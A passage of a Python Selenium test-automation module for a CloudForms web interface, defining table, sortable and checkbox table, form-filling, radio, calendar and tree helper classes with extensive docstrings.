rows = [self.create_row_from_element(element) for element in rows_elements]\n\n # Only include rows where the expected values are in the right columns\n matching_rows = list()\n if partial_check:\n matching_row_filter = lambda heading, value: value in row[heading].text\n else:\n matching_row_filter = lambda heading, value: row[heading].text == value\n for row in rows:\n if all(matching_row_filter(*cell) for cell in cells.items()):\n matching_rows.append(row)\n\n return matching_rows\n\n def find_row_by_cells(self, cells, partial_check=False):\n \"\"\"Find the first row containing cells\n\n Args:\n cells: See :py:meth:`Table.find_rows_by_cells`\n\n Returns: The first matching row found, or None if no matching row was found\n\n \"\"\"\n try:\n rows = self.find_rows_by_cells(cells, partial_check=partial_check)\n return rows[0]\n except IndexError:\n return None\n\n def click_rows_by_cells(self, cells, click_column=None, partial_check=False):\n \"\"\"Click the cell at ``click_column`` in the rows matched by ``cells``\n\n Args:\n cells: See :py:meth:`Table.find_rows_by_cells`\n click_column: Which column in the row to click, defaults to None,\n which will attempt to click the row element\n\n Note:\n The value of click_column can be a string or an int, and will be passed directly to\n the item accessor (``__getitem__``) for :py:class:`Table.Row`\n\n \"\"\"\n rows = self.find_rows_by_cells(cells, partial_check=partial_check)\n if click_column is None:\n map(sel.click, rows)\n else:\n map(sel.click, [row[click_column] for row in rows])\n\n def click_row_by_cells(self, cells, click_column=None, partial_check=False):\n \"\"\"Click the cell at ``click_column`` in the first row matched by ``cells``\n\n Args:\n cells: See :py:meth:`Table.find_rows_by_cells`\n click_column: See :py:meth:`Table.click_rows_by_cells`\n\n \"\"\"\n row = self.find_row_by_cells(cells, partial_check=partial_check)\n if click_column is None:\n sel.click(row)\n else:\n sel.click(row[click_column])\n\n def create_row_from_element(self, row_element):\n \"\"\"Given a row element in this table, create a :py:class:`Table.Row`\n\n Args:\n row_element: A table row (````) WebElement representing a row in this table.\n\n Returns: A :py:class:`Table.Row` for ``row_element``\n\n \"\"\"\n return Table.Row(row_element, self)\n\n def click_cells(self, cell_map):\n \"\"\"Submits multiple cells to be clicked on\n\n Args:\n cell_map: A mapping of header names and values, representing cells to click.\n As an example, ``{'name': ['wing', 'nut']}, {'age': ['12']}`` would click on\n the cells which had ``wing`` and ``nut`` in the name column and ``12`` in\n the age column. The yaml example for this would be as follows::\n\n list_items:\n name:\n - wing\n - nut\n age:\n - 12\n\n Raises:\n NotAllItemsClicked: If some cells were unable to be found.\n\n \"\"\"\n failed_clicks = []\n for header, values in cell_map.items():\n if isinstance(values, basestring):\n values = [values]\n for value in values:\n res = self.click_cell(header, value)\n if not res:\n failed_clicks.append(\"%s:%s\" % (header, value))\n if failed_clicks:\n raise exceptions.NotAllItemsClicked(failed_clicks)\n\n def click_cell(self, header, value):\n \"\"\"Clicks on a cell defined in the row.\n\n Uses the header identifier and a value to determine which cell to click on.\n\n Args:\n header: A string or int, describing which column to inspect.\n value: The value to be compared when trying to identify the correct cell\n to click the cell in.\n\n Returns: ``True`` if item was found and clicked, else ``False``.\n\n \"\"\"\n cell = self.find_cell(header, value)\n if cell:\n sel.click(cell)\n return True\n else:\n return False\n\n class Row(Pretty):\n \"\"\"An object representing a row in a Table.\n\n The Row object returns a dymanically addressable attribute space so that\n the tables headers are automatically generated.\n\n Args:\n row_element: A table row ``WebElement``\n parent_table: :py:class:`Table` containing ``row_element``\n\n Notes:\n Attributes are dynamically generated. The index/key accessor is more flexible\n than the attr accessor, as it can operate on int indices and header names.\n\n \"\"\"\n pretty_attrs = ['row_element', 'table']\n\n def __init__(self, row_element, parent_table):\n self.table = parent_table\n self.row_element = row_element\n\n @property\n def columns(self):\n \"\"\"A list of WebElements corresponding to the ```` elements in this row\"\"\"\n return sel.elements('td', root=self.row_element)\n\n def __getattr__(self, name):\n \"\"\"\n Returns Row element by header name\n \"\"\"\n return self.columns[self.table.header_indexes[name.lower()]]\n\n def __getitem__(self, index):\n \"\"\"\n Returns Row element by header index or name\n \"\"\"\n try:\n return self.columns[index]\n except TypeError:\n # Index isn't an int, assume it's a string\n return getattr(self, self.table._convert_header(index))\n # Let IndexError raise\n\n def __str__(self):\n return \", \".join([\"'%s'\" % el.text for el in self.columns])\n\n def __eq__(self, other):\n if isinstance(other, type(self)):\n # Selenium elements support equality checks, so we can, too.\n return self.row_element == other.row_element\n else:\n return id(self) == id(other)\n\n def locate(self):\n # table.create_row_from_element(row_instance) might actually work...\n return sel.move_to_element(self.row_element)\n\n\nclass SplitTable(Table):\n \"\"\":py:class:`Table` that supports the header and body rows being in separate tables\n\n Args:\n header_data: A tuple, containing an element locator and an offset value.\n These point to the container of the header row. The offset is used in case\n there is a padding row above the header, or in the case that the header\n and the body are contained inside the same table element.\n body_data: A tuple, containing an element locator and an offset value.\n These point to the container of the body rows. The offset is used in case\n there is a padding row above the body rows, or in the case that the header\n and the body are contained inside the same table element.\n\n Usage:\n\n table = SplitTable(header_data=('//div[@id=\"header_table\"]//table/tbody', 0),\n body_data=('//div[@id=\"body_table\"]//table/tbody', 1))\n\n The HTML code for a split table looks something like this::\n\n
\n \n \n \n \n \n \n \n \n
NameAnimalSize
\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
UselessPaddingRow
JohnMonkeySmall
MikeTigerLarge
\n
\n\n Note the use of the offset to skip the \"Useless Padding Row\" in ``body_data``. Most split\n tables require an offset for both the heading and body rows.\n\n \"\"\"\n def __init__(self, header_data, body_data):\n self._headers = None\n self._header_indexes = None\n\n self._header_loc, header_offset = header_data\n self._body_loc, body_offset = body_data\n self.header_offset = int(header_offset)\n self.body_offset = int(body_offset)\n\n @property\n def _root_loc(self):\n return self._body_loc\n\n @property\n def header_row(self):\n \"\"\"Property representing the ```` element that contains header cells\"\"\"\n # thead/tr containing header data\n # xpath is 1-indexed, so we need to add 1 to the offset to get the correct row\n return sel.element('tr[%d]' % (self.header_offset + 1), root=sel.element(self._header_loc))\n\n @property\n def body(self):\n \"\"\"Property representing the element that contains body rows\"\"\"\n # tbody containing body rows\n return sel.element(self._body_loc)\n\n def locate(self):\n # Use the header locator as the overall table locator\n return sel.move_to_element(self._header_loc)\n\n\nclass SortTable(Table):\n \"\"\"This table is the same as :py:class:`Table`, but with added sorting functionality.\"\"\"\n @property\n def _sort_by_cell(self):\n try:\n return sel.element(\n version.pick({\n \"default\": \"./th/a/img[contains(@src, 'sort')]/..\",\n \"5.3.0.0\": \"./th[contains(@class, 'sorting_')]\"\n }),\n root=self.header_row\n )\n except NoSuchElementException:\n return None\n\n @property\n def sorted_by(self):\n \"\"\"Return column name what is used for sorting now.\n \"\"\"\n cell = self._sort_by_cell\n if cell is None:\n return None\n return sel.text(\"./a\", root=cell).encode(\"utf-8\")\n\n @property\n def sort_order(self):\n \"\"\"Return order.\n\n Returns: 'ascending' or 'descending'\n \"\"\"\n cell = self._sort_by_cell\n if cell is None:\n return None\n\n def _downstream():\n src = sel.get_attribute(sel.element(\"./img\", root=cell), \"src\")\n if \"sort_up\" in src:\n return \"ascending\"\n elif \"sort_down\" in src:\n return \"descending\"\n else:\n return None\n\n def _upstream():\n cls = sel.get_attribute(cell, \"class\")\n if \"sorting_asc\" in cls:\n return \"ascending\"\n elif \"sorting_desc\" in cls:\n return \"descending\"\n else:\n return None\n\n return version.pick({\n \"default\": _downstream,\n \"5.3.0.0\": _upstream\n })()\n\n def click_header_cell(self, text):\n \"\"\"Clicks on the header to change sorting conditions.\n\n Args:\n text: Header cell text.\n \"\"\"\n sel.click(sel.element(\"./th/a[normalize-space(.)='{}']\".format(text), root=self.header_row))\n\n def sort_by(self, header, order):\n \"\"\"Sorts the table by given conditions\n\n Args:\n header: Text of the header cell to use for sorting.\n order: ascending or descending\n \"\"\"\n order = order.lower().strip()\n if header != self.sorted_by:\n # Change column to order by\n self.click_header_cell(header)\n assert self.sorted_by == header, \"Detected malfunction in table ordering\"\n if order != self.sort_order:\n # Change direction\n self.click_header_cell(header)\n assert self.sort_order == order, \"Detected malfunction in table ordering\"\n\n\nclass CheckboxTable(Table):\n \"\"\":py:class:`Table` with support for checkboxes\n\n Args:\n table_locator: See :py:class:`cfme.web_ui.Table`\n header_checkbox_locator: Locator of header checkbox (default `None`)\n Specify in case the header checkbox is not part of the header row\n body_checkbox_locator: Locator for checkboxes in body rows\n header_offset: See :py:class:`cfme.web_ui.Table`\n body_offset: See :py:class:`cfme.web_ui.Table`\n \"\"\"\n _checkbox_loc = \".//input[@type='checkbox']\"\n\n def __init__(self, table_locator, header_offset=0, body_offset=0,\n header_checkbox_locator=None, body_checkbox_locator=None):\n super(CheckboxTable, self).__init__(table_locator, header_offset, body_offset)\n if body_checkbox_locator:\n self._checkbox_loc = body_checkbox_locator\n self._header_checkbox_loc = header_checkbox_locator\n\n @property\n def header_checkbox(self):\n \"\"\"Checkbox used to select/deselect all rows\"\"\"\n if self._header_checkbox_loc is not None:\n return sel.element(self._header_checkbox_loc)\n else:\n return sel.element(self._checkbox_loc, root=self.header_row)\n\n def select_all(self):\n \"\"\"Select all rows using the header checkbox or one by one if not present\"\"\"\n if self._header_checkbox_loc is None:\n for row in self.rows():\n self._set_row_checkbox(row, True)\n else:\n sel.uncheck(self.header_checkbox)\n sel.check(self.header_checkbox)\n\n def deselect_all(self):\n \"\"\"Deselect all rows using the header checkbox or one by one if not present\"\"\"\n if self._header_checkbox_loc is None:\n for row in self.rows():\n self._set_row_checkbox(row, False)\n else:\n sel.check(self.header_checkbox)\n sel.uncheck(self.header_checkbox)\n\n def _set_row_checkbox(self, row, set_to=False):\n row_checkbox = sel.element(self._checkbox_loc, root=row.locate())\n sel.checkbox(row_checkbox, set_to)\n\n def _set_row(self, header, value, set_to=False):\n \"\"\" Internal method used to select/deselect a row by column header and cell value\n\n Args:\n header: See :py:meth:`Table.find_row`\n value: See :py:meth:`Table.find_row`\n set_to: Select if `True`, deselect if `False`\n \"\"\"\n row = self.find_row(header, value)\n if row:\n self._set_row_checkbox(row, set_to)\n return True\n else:\n return False\n\n def select_rows_by_indexes(self, *indexes):\n \"\"\"Select rows specified by row indexes (starting with 0)\n \"\"\"\n for i, row in enumerate(self.rows()):\n if i in indexes:\n self._set_row_checkbox(row, True)\n\n def deselect_rows_by_indexes(self, *indexes):\n \"\"\"Deselect rows specified by row indexes (starting with 0)\n \"\"\"\n for i, row in enumerate(self.rows()):\n if i in indexes:\n self._set_row_checkbox(row, False)\n\n def select_row(self, header, value):\n \"\"\"Select a single row specified by column header and cell value\n\n Args:\n header: See :py:meth:`Table.find_row`\n value: See :py:meth:`Table.find_row`\n\n Returns: `True` if successful, `False` otherwise\n \"\"\"\n return self._set_row(header, value, True)\n\n def deselect_row(self, header, value):\n \"\"\"Deselect a single row specified by column header and cell value\n\n Args:\n header: See :py:meth:`Table.find_row`\n value: See :py:meth:`Table.find_row`\n\n Returns: `True` if successful, `False` otherwise\n \"\"\"\n return self._set_row(header, value, False)\n\n def _set_rows(self, cell_map, set_to=False):\n \"\"\" Internal method used to select/deselect multiple rows\n\n Args:\n cell_map: See :py:meth:`Table.click_cells`\n set_to: Select if `True`, deselect if `False`\n \"\"\"\n failed_selects = []\n for header, values in cell_map.items():\n if isinstance(values, basestring):\n values = [values]\n for value in values:\n res = self._set_row(header, value, set_to)\n if not res:\n failed_selects.append(\"%s:%s\" % (header, value))\n if failed_selects:\n raise exceptions.NotAllCheckboxesFound(failed_selects)\n\n def select_rows(self, cell_map):\n \"\"\"Select multiple rows\n\n Args:\n cell_map: See :py:meth:`Table.click_cells`\n\n Raises:\n NotAllCheckboxesFound: If some cells were unable to be found\n \"\"\"\n self._set_rows(cell_map, True)\n\n def deselect_rows(self, cell_map):\n \"\"\"Deselect multiple rows\n\n Args:\n cell_map: See :py:meth:`Table.click_cells`\n\n Raises:\n NotAllCheckboxesFound: If some cells were unable to be found\n \"\"\"\n self._set_rows(cell_map, False)\n\n def _set_row_by_cells(self, cells, set_to=False):\n row = self.find_row_by_cells(cells)\n self._set_row_checkbox(row, set_to)\n\n def select_row_by_cells(self, cells):\n \"\"\"Select the first row matched by ``cells``\n\n Args:\n cells: See :py:meth:`Table.find_rows_by_cells`\n\n \"\"\"\n self._set_row_by_cells(cells, True)\n\n def deselect_row_by_cells(self, cells):\n \"\"\"Deselect the first row matched by ``cells``\n\n Args:\n cells: See :py:meth:`Table.find_rows_by_cells`\n\n \"\"\"\n self._set_row_by_cells(cells, False)\n\n def _set_rows_by_cells(self, cells, set_to=False):\n rows = self.find_rows_by_cells(cells)\n for row in rows:\n self._set_row_checkbox(row, set_to)\n\n def select_rows_by_cells(self, cells):\n \"\"\"Select the rows matched by ``cells``\n\n Args:\n cells: See :py:meth:`Table.find_rows_by_cells`\n \"\"\"\n self._set_rows_by_cells(cells, True)\n\n def deselect_rows_by_cells(self, cells):\n \"\"\"Deselect the rows matched by ``cells``\n\n Args:\n cells: See :py:meth:`Table.find_rows_by_cells`\n \"\"\"\n self._set_rows_by_cells(cells, False)\n\n\nclass SplitCheckboxTable(SplitTable, CheckboxTable):\n \"\"\":py:class:`SplitTable` with support for checkboxes\n\n Args:\n header_data: See :py:class:`cfme.web_ui.SplitTable`\n body_data: See :py:class:`cfme.web_ui.SplitTable`\n header_checkbox_locator: See :py:class:`cfme.web_ui.CheckboxTable`\n body_checkbox_locator: See :py:class:`cfme.web_ui.CheckboxTable`\n header_offset: See :py:class:`cfme.web_ui.Table`\n body_offset: See :py:class:`cfme.web_ui.Table`\n \"\"\"\n _checkbox_loc = './/img[contains(@src, \"item_chk\")]'\n\n def __init__(self, header_data, body_data,\n header_checkbox_locator=None, body_checkbox_locator=None):\n # To limit multiple inheritance surprises, explicitly call out to SplitTable's __init__\n SplitTable.__init__(self, header_data, body_data)\n\n # ...then set up CheckboxTable's locators here\n self._header_checkbox_loc = header_checkbox_locator\n if body_checkbox_locator:\n self._checkbox_loc = body_checkbox_locator\n\n\ndef table_in_object(table_title):\n \"\"\"If you want to point to tables inside object view, this is what you want to use.\n\n Works both on down- and upstream.\n\n Args:\n table_title: Text in `p` element preceeding the table\n Returns: XPath locator for the desired table.\n \"\"\"\n return (\"//table[(preceding-sibling::p[1] | preceding-sibling::h3[1])[normalize-space(.)={}]]\"\n .format(quoteattr(table_title)))\n\n\n@multimethod(lambda loc, value: (sel.tag(loc), sel.get_attribute(loc, 'type')))\ndef fill_tag(loc, value):\n \"\"\" Return a tuple of function to do the filling, and a value to log.\"\"\"\n raise NotImplementedError(\"Don't know how to fill {} into this type: {}\".format(value, loc))\n\n\n@fill_tag.method((\"select\", Anything))\ndef fill_select_tag(select, value):\n return (sel.select, value)\n\n\n@fill_tag.method((Anything, 'text'))\n@fill_tag.method((Anything, 'textarea'))\ndef fill_text(textbox, val):\n return (sel.set_text, val)\n\n\n@fill_tag.method((Anything, 'password'))\ndef fill_password(pwbox, password):\n return (sel.set_text, \"********\")\n\n\n@fill_tag.method(('a', Anything))\n@fill_tag.method(('img', Anything))\n@fill_tag.method((Anything, 'image'))\n@fill_tag.method((Anything, 'submit'))\ndef fill_click(el, val):\n \"\"\"Click only when given a truthy value\"\"\"\n def click_if(e, v):\n if v:\n sel.click(e)\n return (click_if, val)\n\n\n@fill_tag.method((Anything, 'file'))\ndef fill_file(fd, val):\n return (sel.send_keys, val)\n\n\n@fill_tag.method((Anything, 'checkbox'))\ndef fill_checkbox(cb, val):\n return (sel.checkbox, bool(val))\n\n\n@multidispatch\ndef fill(loc, content):\n \"\"\"\n Fills in a UI component with the given content.\n\n Usage:\n fill(textbox, \"text to fill\")\n fill(myform, [ ... data to fill ...])\n fill(radio, \"choice to select\")\n\n Returns: True if any UI action was taken, False otherwise\n\n \"\"\"\n action, logval = fill_tag(loc, content)\n if hasattr(loc, 'name'):\n ident = loc.name\n else:\n ident = loc\n logger.debug(' Filling in [%s], with value \"%s\"' % (ident, logval))\n prev_state = action(loc, content)\n sel.detect_observed_field(loc)\n return prev_state\n\n\n@fill.method((Mapping, Anything))\ndef _version_pick(m, a, **kwargs):\n return fill(version.pick(m), a, **kwargs)\n\n\n@fill.method((Table, Mapping))\ndef _sd_fill_table(table, cells):\n \"\"\" How to fill a table with a value (by selecting the value as cells in the table)\n See Table.click_cells\n \"\"\"\n table._update_cache()\n logger.debug(' Clicking Table cell')\n table.click_cells(cells)\n return bool(cells)\n\n\n@fill.method((CheckboxTable, object))\ndef _sd_fill_checkboxtable(table, cells):\n \"\"\" How to fill a checkboxtable with a value (by selecting the right rows)\n See CheckboxTable.select_by_cells\n \"\"\"\n table._update_cache()\n logger.debug(' Selecting CheckboxTable row')\n table.select_rows(cells)\n return bool(cells)\n\n\n@fill.method((Callable, object))\ndef fill_callable(f, val):\n \"\"\"Fill in a Callable by just calling it with the value, allow for arbitrary actions\"\"\"\n return f(val)\n\n\n@fill.method((Select, types.NoneType))\n@fill.method((Select, object))\ndef fill_select(slist, val):\n logger.debug(' Filling in {} with value {}'.format(str(slist), val))\n prev_sel = sel.select(slist, val)\n slist.observer_wait()\n return prev_sel\n\n\nclass Calendar(Pretty):\n \"\"\"A CFME calendar form field\n\n Calendar fields are readonly, and managed by the dxhtmlCalendar widget. A Calendar field\n will accept any object that can be coerced into a string, but the value may not match the format\n expected by dhtmlxCalendar or CFME. For best results, either a ``datetime.date`` or\n ``datetime.datetime`` object should be used to create a valid date field.\n\n Args:\n name: \"name\" property of the readonly calendar field.\n\n Usage:\n\n calendar = web_ui.Calendar(\"miq_date_1\")\n web_ui.fill(calendar, date(2000, 1, 1))\n web_ui.fill(calendar, '1/1/2001')\n\n \"\"\"\n def __init__(self, name):\n self.name = name\n\n def locate(self):\n return sel.move_to_element(Input(self.name))\n\n\n@fill.method((Calendar, object))\ndef _sd_fill_date(calendar, value):\n input = sel.element(calendar)\n if isinstance(value, date):\n date_str = '%s/%s/%s' % (value.month, value.day, value.year)\n else:\n date_str = str(value)\n\n # need to write to a readonly field: resort to evil\n if sel.get_attribute(input, 'ng-model') is not None:\n sel.set_angularjs_value(input, date_str)\n else:\n sel.set_attribute(input, \"value\", date_str)\n # Now when we set the value, we need to simulate a change event.\n try:\n sel.execute_script(\n \"if(typeof $j == 'undefined') {var jq = $;} else {var jq = $j;} \"\n \"jq(\\\"#%s\\\").change();\" % calendar.name)\n except sel_exceptions.WebDriverException as e:\n logger.warning(\n \"An exception was raised during handling of the Calendar #{}'s change event:\\n{}\"\n .format(calendar.name, str(e)))\n sel.wait_for_ajax()\n\n return True\n\n\n@fill.method((object, types.NoneType))\n@fill.method((types.NoneType, object))\ndef _sd_fill_none(*args, **kwargs):\n \"\"\" Ignore a NoneType \"\"\"\n pass\n\n\nclass Form(Region):\n \"\"\"\n A class for interacting with Form elements on pages.\n\n The Form class takes a set of locators and binds them together to create a\n unified Form object. This Form object has a defined field order so that the\n user does not have to worry about which order the information is provided.\n This enables the data to be provided as a dict meaning it can be passed directly\n from yamls. It inherits the base Region class, meaning that locators can still be\n referenced in the same way a Region's locators can. You can also add one more field which will\n be a :py:class:`dict` of metadata, determining mostly field validity. See :py:meth:`field_valid`\n\n Args:\n fields: A list of field name/locator tuples. The argument not only defines\n the order of the elements but also which elements comprise part of the form.\n identifying_loc: A locator which should be present if the form is visible.\n\n Usage:\n\n provider_form = web_ui.Form(\n fields=[\n ('type_select', \"//*[@id='server_emstype']\"),\n ('name_text', \"//*[@id='name']\"),\n ('hostname_text', \"//*[@id='hostname']\"),\n ('ipaddress_text', \"//*[@id='ipaddress']\"),\n ('amazon_region_select', \"//*[@id='hostname']\"),\n ('api_port', \"//*[@id='port']\"),\n ])\n\n Forms can then be filled in like so.::\n\n provider_info = {\n 'type_select': \"OpenStack\",\n 'name_text': \"RHOS-01\",\n 'hostname_text': \"RHOS-01\",\n 'ipaddress_text': \"10.0.0.0\",\n 'api_port': \"5000\",\n }\n web_ui.fill(provider_form, provider_info)\n\n Note:\n Using supertuples in a list, although ordered due to the properties of a List,\n will not overide the field order defined in the Form.\n \"\"\"\n\n pretty_attrs = ['fields']\n\n def __init__(self, fields=None, identifying_loc=None):\n self.metadata = {}\n self.locators = {}\n for field in fields:\n try:\n self.locators[field[0]] = field[1]\n if len(field) == 3:\n self.metadata[field[0]] = field[2]\n except IndexError:\n raise ValueError(\"fields= can be 2- or 3-tuples only! (name, loc[, metadata])\")\n\n self.fields = fields\n self.identifying_loc = identifying_loc\n\n def field_valid(self, field_name):\n \"\"\"Add the validity constraints here.\"\"\"\n if field_name not in self.metadata:\n return True\n metadata = self.metadata[field_name]\n if \"removed_since\" in metadata:\n removed_since = metadata[\"removed_since\"]\n return version.current_version() < removed_since\n if \"appeared_in\" in metadata:\n appeared_in = metadata[\"appeared_in\"]\n return version.current_version() >= appeared_in\n\n return True\n\n def fill(self, fill_data):\n fill(self, fill_data)\n\n\n@fill.method((Form, Sequence))\ndef _fill_form_list(form, values, action=None, action_always=False):\n \"\"\"Fills in field elements on forms\n\n Takes a set of values in dict or supertuple format and locates form elements,\n in the correct order, and fills them in.\n\n Note:\n Currently supports, text, textarea, select, checkbox, radio, password, a\n and Table objects/elements.\n\n Args:\n values: a dict or supertuple formatted set of data where\n each key is the name of the form locator from the page model. Some\n objects/elements, such as :py:class:`Table` objects, support providing\n multiple values to be clicked on in a single call.\n action: a locator which will be clicked when the form filling is complete\n\n action_always: if True, perform the action even if none of the\n values to be filled in required any UI\n interaction (eg, text boxes already had the\n text to be filled in, checkbox already checked,\n etc)\n\n \"\"\"\n logger.info('Beginning to fill in form...')\n values = list(val for key in form.fields for val in values if val[0] == key[0])\n res = []\n for field, value in values:\n if value is not None and form.field_valid(field):\n loc = form.locators[field]\n logger.trace(' Dispatching fill for \"%s\"' % field)\n fill_prev = fill(loc, value) # re-dispatch to fill for each item\n res.append(fill_prev != value) # note whether anything changed\n elif value is None and isinstance(form.locators[field], Select):\n fill_prev = fill(form.locators[field], None)\n res.append(fill_prev != value)\n else:\n res.append(False)\n\n if action and (any(res) or action_always): # only perform action if something changed\n logger.debug(' Invoking end of form action')\n fill(action, True) # re-dispatch with truthy value\n logger.debug('Finished filling in form')\n return any(res) or action_always\n\n\n@fill.method((object, Mapping))\ndef _fill_form_dict(form, values, **kwargs):\n \"\"\"Fill in a dict by converting it to a list\"\"\"\n return _fill_form_list(form, values.items(), **kwargs)\n\n\nclass Input(Pretty):\n \"\"\"Class designed to handle things about ```` tags that have name attr in one place.\n\n Also applies on ``textarea``, which is basically input with multiple lines (if it has name).\n\n Args:\n names: Possible values (or) of the ``name`` attribute.\n \"\"\"\n pretty_attrs = ['names']\n\n def __init__(self, *names):\n self.names = names\n\n def locate(self):\n # If the end of the locator is changed, modify also the choice in Radio!!!\n return '//*[(self::input or self::textarea) and ({})]'.format(\n \" or \".join(\"@name={}\".format(quoteattr(name)) for name in self.names)\n )\n\n def __add__(self, string):\n return self.locate() + string\n\n def __radd__(self, string):\n return string + self.locate()\n\n\nclass Radio(Input):\n \"\"\" A class for Radio button groups\n\n Radio allows the usage of HTML radio elements without resorting to previous\n practice of iterating over elements to find the value. The name of the radio\n group is passed and then when choices are required, the locator is built.\n\n Args:\n name: The HTML elements ``name`` attribute that identifies a group of radio\n buttons.\n\n Usage:\n\n radio = Radio(\"schedule__schedule_type\")\n\n A specific radio element can then be returned by running the following::\n\n el = radio.choice('immediately')\n click(el)\n\n The :py:class:`Radio` object can be reused over and over with repeated calls to\n the :py:func:`Radio.choice` method.\n \"\"\"\n def choice(self, val):\n \"\"\" Returns the locator for a choice\n\n Args:\n val: A string representing the ``value`` attribute of the specific radio\n element.\n\n Returns: A string containing the XPATH of the specific radio element.\n\n \"\"\"\n # Ugly, but working - all the conditions are in parentheses\n return re.sub(r\"\\]$\", \" and @value={}]\".format(quoteattr(val)), self.locate())\n\n def observer_wait(self, val):\n sel.detect_observed_field(self.choice(val))\n\n\n@fill.method((Radio, object))\ndef _fill_radio(radio, value):\n \"\"\"How to fill a radio button group (by selecting the given value)\"\"\"\n logger.debug(' Filling in Radio{} with value \"{}\"'.format(tuple(radio.names), value))\n sel.click(radio.choice(value))\n radio.observer_wait(value)\n\n\nclass Tree(Pretty):\n \"\"\" A class directed at CFME Tree elements\n\n The Tree class aims to deal with all kinds of CFME trees, at time of writing there\n are two distinct types. One which uses ```` elements and another which uses\n ``
    `` elements.\n\n Args:\n locator: This is a locator object pointing to either the outer ``
`` or\n ``
    `` element which contains the rest of the table.\n\n Returns: A :py:class:`Tree` object.\n\n A Tree object is set up by using a locator which contains the node elements. This element\n will usually be a ``
      `` in the case of a Dynatree, or a ``
`` in the case of a\n Legacy tree.\n\n Usage:\n\n tree = web_ui.Tree((By.XPATH, '//table//tr[@title=\"Datastore\"]/../..'))\n\n The path can then be navigated to return the last object in the path list, like so::\n\n tree.click_path('Automation', 'VM Lifecycle Management (VMLifecycle)',\n 'VM Migrate (Migrate)')\n\n Each path element will be expanded along the way, but will not be clicked.\n\n When used in a :py:class:`Form`, a list of path tuples is expected in the form fill data.\n The paths will be passed individually to :py:meth:`Tree.check_node`::\n\n form = Form(fields=[\n ('tree_field', List(locator)),\n ])\n\n form_fill_data = {\n 'tree_field': [\n ('Tree Node', 'Value'),\n ('Tree Node', 'Branch Node', 'Value'),\n ]\n ]\n\n Note:\n For legacy trees, the first element is often ignored as it is not a proper tree\n element ie. in Automate->Explorer the Datastore element doesn't really exist, so we\n omit it from the click map.\n\n Legacy trees rely on a complex ``
``\n as a node.\n\n Note: Dynatrees, rely on a ``
  • `` setup. We class a ``
  • `` as a node.\n\n \"\"\"\n pretty_attrs = ['locator']\n\n def __init__(self, locator):\n self.locator = locator\n\n def _get_tag(self):\n if getattr(self, 'tag', None) is None:\n self.tag = sel.tag(sel.element(self.locator))\n return self.tag\n\n def _detect(self):\n \"\"\" Detects which type of tree is being used\n\n On invocation, first determines which type of Tree object it is dealing\n with and then sets the internal variables to match elements of the specific tree class.\n\n There are currently 4 attributes needed in the tree classes.\n\n * expandable: the element to check if the tree is expanded/collapsed.\n * is_expanded_condition: a tuple containing the element attribute and value to\n identify that an element **is** expanded.\n * node_label: an XPATH which describes a node's label (the element with just the text,\n not including the expand arrow, etc), needing expansion with format specifier for\n matching.\n * node_root: XPATH expression for the entire node (including the expand arrow etc)\n * click_expand: the element to click on to expand the tree at that level.\n \"\"\"\n self.root_el = sel.element(self.locator)\n if self._get_tag() == 'ul':\n # Dynatree\n self.expandable = './span'\n self.is_expanded_condition = ('class', 'dynatree-expanded', 'dynatree-has-children')\n self.node_root = \".//li[span/a[normalize-space(.)='%s']]\"\n self.node_label = \".//li/span/a[normalize-space(.)='%s']\"\n self.click_expand = \"./span/span\"\n self.leaf = \"./span/a\"\n # Locators for reading the tree\n # Finds all child nodes\n self.nodes_root = \"./li[span/a[@class='dynatree-title']]\"\n # How to get from the node to the container of child nodes\n self.nodes_root_continue = \"./ul\"\n # Label locator\n self.node_label_loc = \"./span/a[@class='dynatree-title']\"\n elif self._get_tag() == 'table':\n # Legacy Tree\n self.expandable = 'tr/td[1]/img'\n self.is_expanded_condition = ('src', 'open.png')\n self.node_root = \".//span[normalize-space(.)='%s']/../../..\"\n self.node_label = \".//span[normalize-space(.)='%s']\"\n self.click_expand = \"tr/td[1]/img\"\n self.leaf = \"tr/td/span\"\n # Locators for reading the tree - we do not support, this kind of getting, we have cust.\n self.nodes_root = None\n self.nodes_root_continue = None\n self.node_label_loc = None\n else:\n raise exceptions.TreeTypeUnknown(\n 'The locator described does not point to a known tree type')\n\n def _is_expanded(self, el):\n \"\"\" Checks to see if an element is expanded\n\n Args:\n el: The element to check.\n\n Returns: ``True`` if the element is expanded, ``False`` if not.\n \"\"\"\n try:\n meta = sel.element(self.expandable, root=el)\n except NoSuchElementException:\n return True # Some trees have always-expanded roots\n\n # This is a condition of checking whether this even is expandable\n if len(self.is_expanded_condition) == 3:\n if self.is_expanded_condition[2] not in sel.get_attribute(\n meta, self.is_expanded_condition[0]):\n return True # no need to expand\n\n # It should be expandable, so now just check\n if self.is_expanded_condition[1] in sel.get_attribute(\n meta, self.is_expanded_condition[0]):\n return True\n else:\n return False\n\n def _expand(self, el, state=True):\n \"\"\" Expands a tree node\n\n Checks if a tree node needs expanding and then expands it.\n\n Args:\n el: The element to expand.\n \"\"\"\n if self._is_expanded(el) != state:\n sel.click(sel.element(self.click_expand, root=el))\n return True\n else:\n return False\n\n def node_element(self, node_name, parent):\n return sel.element((self.node_label % node_name), root=parent)\n\n def node_root_element(self, node_name, parent):\n return sel.element((self.node_root % node_name), root=parent)\n\n def nodes_root_elements(self, parent):\n return sel.elements(self.nodes_root, root=parent)\n\n def expand_path(self, *path):\n \"\"\" Clicks through a series of elements in a path.\n\n Clicks through a tree, by expanding the levels in a single straight path and\n returns the final element without clicking it.\n\n Args:\n *path: The path as multiple positional string arguments denoting the course to take.\n\n Returns: The element at the leaf of the tree.\n\n Raises:\n cfme.exceptions.CandidateNotFound: A candidate in the tree could not be found to\n continue down the path.\n cfme.exceptions.TreeTypeUnknown: A locator was passed to the constructor which\n does not correspond to a known tree type.\n\n \"\"\"\n\n # The detect here is required every time to avoid a StaleElementException if the\n # Tree goes off screen and returns.\n self._detect()\n\n parent = self.locator\n path = list(path)\n node = None\n for i, item in enumerate(path):\n try:\n node = self.node_root_element(item, parent)\n except sel_exceptions.NoSuchElementException as e:\n raise exceptions.CandidateNotFound(\n {'message': \"%s: could not be found in the tree.\" % item,\n 'path': path,\n 'index': i,\n 'cause': e})\n\n self._expand(node)\n parent = node\n\n return node\n\n def read_contents(self, parent=None, unexpand=False):\n \"\"\"Reads complete contents of the tree recursively.\n\n Tree is represented as a list. If the item in the list is string, it is leaf element and it\n is its name. If the item is a tuple, first element of the tuple is the name and second\n element is the subtree (list).\n\n Args:\n parent: Starting element, used during recursion\n unexpand: Whether it should unexpand the expanded levels to original state.\n Returns: Tree in format mentioned in description\n \"\"\"\n self._detect()\n if parent is None 